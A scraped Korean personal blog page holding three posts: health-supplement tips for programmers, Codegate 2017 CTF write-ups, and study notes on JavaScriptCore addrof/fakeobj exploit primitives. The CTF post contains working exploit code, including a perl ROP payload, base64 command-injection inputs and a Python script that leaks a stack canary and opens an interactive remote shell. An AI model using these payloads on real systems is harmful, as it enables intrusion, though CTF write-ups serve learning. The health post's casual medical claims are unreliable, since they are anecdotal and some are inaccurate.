IT인들을 위한 건강챙기기 팁

씨디팔공/팁 2017.03.30 09:24
크리에이티브 커먼즈 라이선스
Creative Commons License

일찍자고 일찍 일어나는데 하루하루 체력이 좀비같고 아침에 일어나기도 힘들다가

아래 있는것들을 챙기고서부터 아침이 편해지고 집중이 잘돼서 소개합니다


[비타민 B]

처음엔 구내염때문에 먹었었는데 피로회복에 장난아니게 좋습니다

유명한 제품으로는 아로나민골드랑 같은회사에서 나온 엑세라민이 있는데


회사앞약국약사 : 아로나민은 두번 먹어야 하는데 엑세라민은 한번만 먹어도 돼요 엑세라민 한번 드셔보세요

우리엄마(약사) : 아로나민 골드가 제일 좋다. 엑세라민이 마진이 좀더 남아서 추천해준거다


이렇게 두 약사의 의견이 갈리는데

최고의 효과를 원한다면 아로나민 골드를 아침저녁으로 챙겨먹는게 낫고 저처럼 귀찮아서 그냥 아침에 먹고 말래 한다면 엑세라민이 낫습니다 그래서 전 엑세라민을 먹습니다



[오메가3]

오메가3는 인터넷에도 많긴한데 왠만하면 약국가서 사는게 낫습니다 약국에 좋은 제품이 많아요

오메가3는 혈액순환 개선이 도움이 많이 되는데

운동안해서 혈액순환 잘 안되는건 어쩔수 없다고 해도 

담배 + 술 + 기름진음식(고기, 튀김) 이 조합으로 혈액순환 안되는건 정말 지옥입니다

이렇게 운동 외적인 요인으로 혈액순환 안되는걸 최대한 살려주는게 오메가3입니다


[유산균]

유산균도 먹는방법이 여러가지가 있는데

알약으로 먹을수도 있고 가루로도 있고 액상도 있습니다

저는 가루로 먹는데

유산균은 장운동을 활발하게 하고 면역력을 슈퍼 좋게 해준다고 합니다

아침에 황금색 바나나똥 볼 수 있습니다

제가 먹는건 대웅제약 락피더스 입니다



[생식]

아침에 밥먹기는 귀찮고 뭔가 건강은 챙겨야할것 같고 할 때 생식 먹으면 좋습니다

http://item2.gmarket.co.kr/Item/detailview/Item.aspx?goodscode=909699985

전 이거 먹는데 좋습니다 매주 한 통씩 사서 먹습니다

이거 살 때 컵을 같이사서 생식 타먹은다음에 설거지 귀찮으니까 그 컵에 그냥 하루종일 물 마시면 됩니다

인터넷에 쳐보면 생식이 좋지 않을수도 있다고 하는데 우리엄마가 좋댔으니 개좋습니다



[물 2리터]

물 정말 중요합니다

물 하루에 2리터짜리 한병씩 계속 먹은지 다섯달정도 됐는데

코딩하다가 아 집중안돼 하는 순간은 대부분 수분부족입니다

물 좀 먹고 코딩하다가 집중안될때 물마시면 바로 다시 집중 개잘됩니다

물 2리터씩 맨날 먹으면 몸이 좋아지는게 체감됩니다

물 2리터짜리 6개 들이가 3천원, 삼다수는 6천원이니까

그냥 월요일 출근하실때 6개들이 하나 사서 하루종일 옆에 놓고 집중안될때마다 드시면 8시간이면 2리터 다먹습니다

그리고 더 좋은건 제가 이걸로 금연 성공했습니다

물 많이 마시면 노폐물이 많이 배출된다고 하는데 물을 계속 먹으면 화장실을 주기적으로 가게 됩니다

근데 초기에는 물을 좀 마시고 한 오후 두세시쯤부터 화장실을 가기 시작했는데

요즘은 오전부터 바로 화장실을 계속 가게 되는 변화도 생기고 그렇습니다

긍정적인 변화일꺼라 생각하고 있는데 사실 잘은 모릅니다 ㅋㅋ



[간보호제]

이거 특히 또 중요하죠

특히 술,담배 많이 하시는 분들은 간보호제 꼭 챙겨먹지 않으면 미래가 참혹합니다

밀크씨슬이 제일 유명한데 많이 드시는분들은 꼭 고함량으로다가 드세요

전 녹십자에서 나온 실리웰 골드 먹습니다


[남성건강]

민망한 주제여서 맨 마지막에 씁니다

민망하긴 하지만 이게 중년층만 적용되는게 아니고

10대 20대 30대여도 관리하지 않으면 위험합니다

남성호르몬이 간에서 분비되는 것으로 알려져 있는데 술 많이 드시는 분들도 위험하겠죠

남성호르몬에 좋은걸로는 유명한게 많은데 뭐 산수유, 야관문, 복분자, 아연, 홍삼 이런것들이 다 좋다고 돼있는데 하나하나 다 챙겨먹기는 어렵고 그냥 종합으로 돼있는거 먹는게 편합니다

저는 황기단이랑 흑마늘먹는데 확실히 좋습니다(체력에)


[잠]

잠좀잡시다

신고

'씨디팔공 > ' 카테고리의 다른 글

IT인들을 위한 건강챙기기 팁  (2) 09:24:37
LLVM 인스트럭션 타입이랑 같이 출력  (0) 2016.06.10

설정

트랙백

댓글

codegate 2017

크리에이티브 커먼즈 라이선스
Creative Commons License

https://github.com/ctfs/write-ups-2017/tree/master/codegate-prequals-2017/pwn



meow

분석이 어려워보이지만 어려워보이는코드는 다 분석할필요가 없는 코드들입니다

그냥 md5 평문만 찾아내서 gdb로 0x12000이랑 0x14000코드를 보면 되는데

0x12000에서는 write(); read(0, rbp+0x8, 0x18) 을 하는데 처음에는 rbp-0x8로 봐서 아 리턴까지만 딱 덮게 해주네 라고 생각했는데 rbp+0x8이라서 이상함을 느꼈습니다

그래서 14000을 보니 execve가 있고 그 뒤에 /bin/sh랑 pop rdi;ret 이 있어서 그거 이용해서 풀면됩니다


(perl -e 'print "\$W337k!++y\n", "3\n", "\x36\x40\x01\x00\x00\x00\x00\x00", "\x29\x40\x01\x00\x00\x00\x00\x00", "\x00\x40\x01\x00\x00\x00\x00\x00"';cat)|./meow




babyMISC


첫스텝은 base64 encoded string은 다르지만 같은 decoded value를 만듭니다

바이너리에 비교대상 base64는 있으니 그걸 decode해서 뒤에 \x00 하나 붙여주면 길이는 같지만 다른 base64 문자열이 나옵니다

두번째스텝은 두개의 base64 decode string이 같지만 encoded string은 달라야 합니다 cd80, cd80\x00\x00\x00 으로 각각 넣어줍니다

세번째스텝은 filter문제인데 쉘에서 base64 -d  로 하면 널바이트를 무시해주기 때문에 \x00cat flag.txt\x00 한걸 넣었습니다


 ⚡ root@cd80  ~/tmp  ./BabyMISC 

[*] Ok, Let's Start. Input the write string on each stage!:)

[*] -- STAGE 01 ----------

[+] KEY : 


[+] Input > 

TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA

[*] USER : N0_m4n_c4l1_ag4in_Y3st3rd4y:(

[+] -- NEXT STAGE! ----------

[*] -- STAGE 02 ----------

[+] Input 1 

Y2Q4MAAA

[+] Input 2 

Y2Q4MAAAAA==

[+] -- NEXT STAGE! ----------

[*] -- STAGE 03 ----------

[+] Ok, It's easy task to you, isn't it? :)

[+] So I will give a chance to execute one command! :)

[*] Input > 

AGNhdCBmbGFnLnR4dAA=

#                                                       echo -n AGNhdCBmbGFnLnR4dAA= | base64 -d | sh

y0u_pwned_y0ur_b4by

 ⚡ root@cd80  ~/tmp  


babypwn


system함수가 바이너리안에 박혀있어서 카나리만 우회하면되는데 카나리는 A 41개 보내면 저한테 알려줍니다 넣고 /bin/sh만 recv하게 해서 실행합니다


from socket import *

from struct import pack,unpack

p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]



## get canary ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

s.send("A"*41)

print s.recv(4096)

ret = s.recv(4096)

canary = ret.split("\n===============================")[0].split("A"*41)[1]

canary = up('\x00'+canary)

print "canary: 0x%08x"%canary

s.close()


cmd = "/bin/sh 0<&4 1>&4 2>&4\x00"


## exploit ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

payload = "A"*40

payload += p(canary)

payload += "A"*12


payload += p(0x80486e0) # recv@plt

payload += p(0x8048eec) # ppppr

payload += p(4)

payload += p(0x804b1b4) # bss

payload += p(len(cmd))

payload += p(0)


payload += p(0x8048620) # system

payload += p(0x41414141)

payload += p(0x804b1b4) # bss


s.send(payload)

print s.recv(4096)

s.send("3\n")

print s.recv(4096)

s.send(cmd)

while True:

    tmp = raw_input("$ ")

    if not len(tmp):

        continue

    else:

        s.send(tmp + "\n")

    print s.recv(4096)

s.close()


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18

설정

트랙백

댓글

Attacking Javascript Engines - Building Exploit Primitives

크리에이티브 커먼즈 라이선스
Creative Commons License

이제 저는 취약점이 발생하는 이유를 알고 디버깅 하는 법을 압니다

오늘 정리할 챕터는 챕터 4이고, 이름은 Building exploit primitives입니다.

제목을 보면 취약점을 공격하기 위해 필요한 몇가지를 만드는 방법에 대한 챕터입니다


지금까지 대회 문제를 풀면서 익스를 할땐, 코드 상 취약점, 각 보호기법들을 우회할 수 있는 취약점들을 이용해서, GOT를 릭해 프로그램에서 사용하지 않는 라이브러리 함수를 실행시켜 쉘을 획득했습니다

아직은 각각이 왜 필요하게 되었는지는 알 수 없지만 이 문서에서는 익스플로잇을 위해 메모리릭과 페이크객체가 필요하다고 하고, 각각을 addrof, fakeobj라고 줄여 부른다고 약속합니다


Prerequisites: Int64

지금까지 알아본 바로는 제목에 나와있듯이 Int64라는 형을 어떻게 표현해야 할지 궁금합니다

왜냐면 Int형을 저장할 땐 FFFF 태그를 붙이고 그 외에 48비트로는 Int64형이라고 할 수 없기 때문이죠

8바이트를 풀로 사용하는 데이터형은 지금까지는 Float형밖에 없었습니다

하지만 이 문서에서 [17]로 링크한 ECMA 표준을보면 표준상으로는 모든 숫자가 float이라고 합니다. 하지만 실제로 구현된 JS 엔진들은 성능상의 문제로 32비트 int형을 별도로 만들어 사용한다고 하고, 필요할 때 이를 float형으로 바꿔 사용한다고합니다(32비트 안에서 표현이 불가능할때)

자바스크립트 데이터 타입은 원래 64비트 정수의 표현이 불가능하기 때문에, JSC에서는 이를 위해 별도의 모듈을 구현해 사용한다고 합니다. 그것이 Int64라고 불리구요(이 설명은 맞지 않습니다 fakeobj를 할때 알았는데 int64는 문서를 쓴사람이 임의로 만든것 같습니다 https://github.com/saelo/jscpwn/  여기서 받아서 쓰면되고, 실행은 ./jsc utils.js Int64.js fakeobj.js로 하면됩니다)


Int64는 제가 보기에는 Object의 형태로 사용이 되는것으로 보이고 아래와 같은 특징을 가집니다

  • (String, Number, Byte) -> Int64로의 형변환이 가능합니다
  • Int64의 덧셈과 뺄셈이 가능하고 assignXXX 메소드를 이용한다는데 assignAdd와 assignSub입니다
  • Add와 Sub의 함수의 리턴값으로 새로운 오브젝트를 만들 수 있다고 합니다

아 여기까지 보면은 Int64 인스턴스를 만들어서

Int64 my_var = Int64("123948120830"), 즉 String을 이용한 초기화가 가능하고

my_var.assignXXX(123123) // 이렇게 사용된다는 거 같네요

그리고

Int64 new_var = Add(my_var, 123) // 이런식으로 사용된다는게 지금까지 세개 특징의 의미입니다


그리고 마지막 특징으로는 Double과 Int64간의 형변환이 가능하다는것을 들었습니다

이거는 뭐 원래 double이 64비트를 풀로 이용하니 어려울 게 없는 특징입니다

변환하는 방법은 Int64("12341234").asDouble() 입니다




addrof and fakeobj

이 두가지 요소 모두 JSC가 double 배열을 저장할 때 NaN-Boxing 표현방식에 구애받지 않는다는점을 이용한다고 합니다

double은 사실 0001-fffe, 즉 태그가 0이나 ffff가 아닌 모든 것이기 때문에 규칙이 있다고 보기는 어렵죠. 그런 말을 하는 것 같습니다

즉, 우리가 double 배열을 사용하면은 결국 JSValue(Nan-Boxed value)를 사용하는 것과 똑같아서 편해진다 이런 말을 하는것 같습니다


그다음에 메모리릭을 하는 방법에 대해 설명을 하는데

[메모리릭]

1. double 배열을 생성한다. 내부적으로는 ArrayWithDouble이라는 타입을 가진 array가 생성이 된다

2. The Bug 섹션에서 했던대로 valueOf를 이용해서 아래와 같은 오브젝트를 생성한다

2-1. 1에서 만든 배열을 shrink시킨다(shrink시킬때 threshold보다 높게 하면 reallocate되는 것 다시 기억)

2-2. 우리가 주소를 알고자 하는 객체만 포함하고 있는 배열을 생성한다. 이 배열은 2-1에서 reallocate된 배열의 바로 뒤에 위치할 것이다(왜냐하면 butterfly들이 저장된 copied space들은 할당이 선형으로 이뤄지기 때문에, 섹션 3 힙에서 언급되는 내용입니다)

2-3. valueOf에서 return할때 어레이의 새 사이즈(The Bug에서는 a.length=0, return 10; 했음)보다 큰 값을 리턴한다

3. slice를 2에서 만든 오브젝트를 인자로해서 호출하라는데 그냥 a.slice({valueOf:~~}); 하란 뜻이다


이렇게 보고 쓰고 나니까 이제 메모리릭이 어떻게 이뤄지는지 알겠습니다 제일 중요한것은 butterfly들은 copied space에 저장된단 내용인데, 섹션 3에서 한번 중요하다고 언급을 이미 한 내용입니다. 섹션3은 그냥 휙휙 읽으면 되는 섹션이기때문에 따로 블로그에 정리하진 않았습니다


우선은 위에 있는 스텝대로 그대로 해봤습니다





그다음에 값을 보고 메모리를 검사해본 화면입니다

 


보면은 b에 들어가있는 0xcd80cd80, 즉 b가 갖고있는 값 자체가 실제로 출력이 됐고

array 타입 자체가 float형이기 때문에 number가 float형으로 저장된 것 같습니다

그러면 한번 array의 주소도 출력이 되는지 확인 해보겠습니다


오옹홍~

메모리상에서는 출력이 됐고


print()에서도 아주 잘 출력이 돼있었습니다

이걸로 봤을 때 우리가 릭한 값은 slice의 결과 값의 인덱스 3번에 있습니다(0부터 셌을 때

그래서 문서에서 함수로 구현해둔것을 보면


이렇게 array를 만들고 a.slice로 리턴된것의 3번째 인덱스를 리턴하고 있습니다


===================================================


자 그러면 이제 addrof는 완벽하게 이해를 했습니다

addrof를 이해하기위해 가장 중요한것은 섹션 2. The Bug에서 얘기했던 shrink와 allocate,

그리고 섹션 3에서 얘기한 copied space에 butterfly들이 할당된단점과 butterfly들은 선형으로 할당된단점

이렇게 총 네가지만 제대로 이해하고 있으면 되는 것 같습니다



다음으로 fakeobj를 봅시다

fakeobj는 반대로 JSObject포인터를 직접 만드는 거라고 합니다

문서에서 설명한 순서를 먼저 보면


1. 오브젝트들의 배열을 생성함(0000태그, 아마도?), 이 어레이는 ArrayWithContiguous라는 타입을 갖는 배열임

2. 마찬가지로 valueOf를 이용해서 아래와 같은 오브젝트를 만듬

2-1. reallocate를 위한 shrinking

2-2. double 배열을 생성하는데, 우리가 조작하고자하는 JSObject의 비트 패턴과 일치하도록 만든다고 하는데 이건 무슨 뜻일까?

2-3. a.slice로 리턴되는 배열의 length를 조작하기 위해 return 0이상


사실 addrof는 이렇게 쓰고나서 바로 이해를 하고 디버깅으로 확인만해봤는데

fakeobj는 썼는데 무슨뜻인지 하나도 모르겠습니다

디버깅을 해서 이해해보도록 하겠습니다


테스트코드는 프랙문서에 있는 fakeobj() 함수에 디버깅 브포를 위한 print만 붙였습니다



우선 맨처음 print(a)에서 메모리를 보면

예상한대로 나옵니다



아 근데 여기서 더 해봤는데 크래쉬가 자꾸나서 일단 오늘은 여기까지

fakeobj는 지금까지 이해한 바로는, 오브젝트의 배열을 만들고, 그 배열에 우리가 원하는 아무 주소나 써서(문서 작성자의 익스에서는 특정 배열+16의 주소) 그 주소를 오브젝트로써 접근해서 arbitrary write가 가능하게 하는 걸로 보임

그래서 addrof = arbitrary read

fakeobj = arbitrary write

addrof + fakeobj = pwn!



신고

설정

트랙백

댓글

1 2 3 4 5 ... 29

티스토리 툴바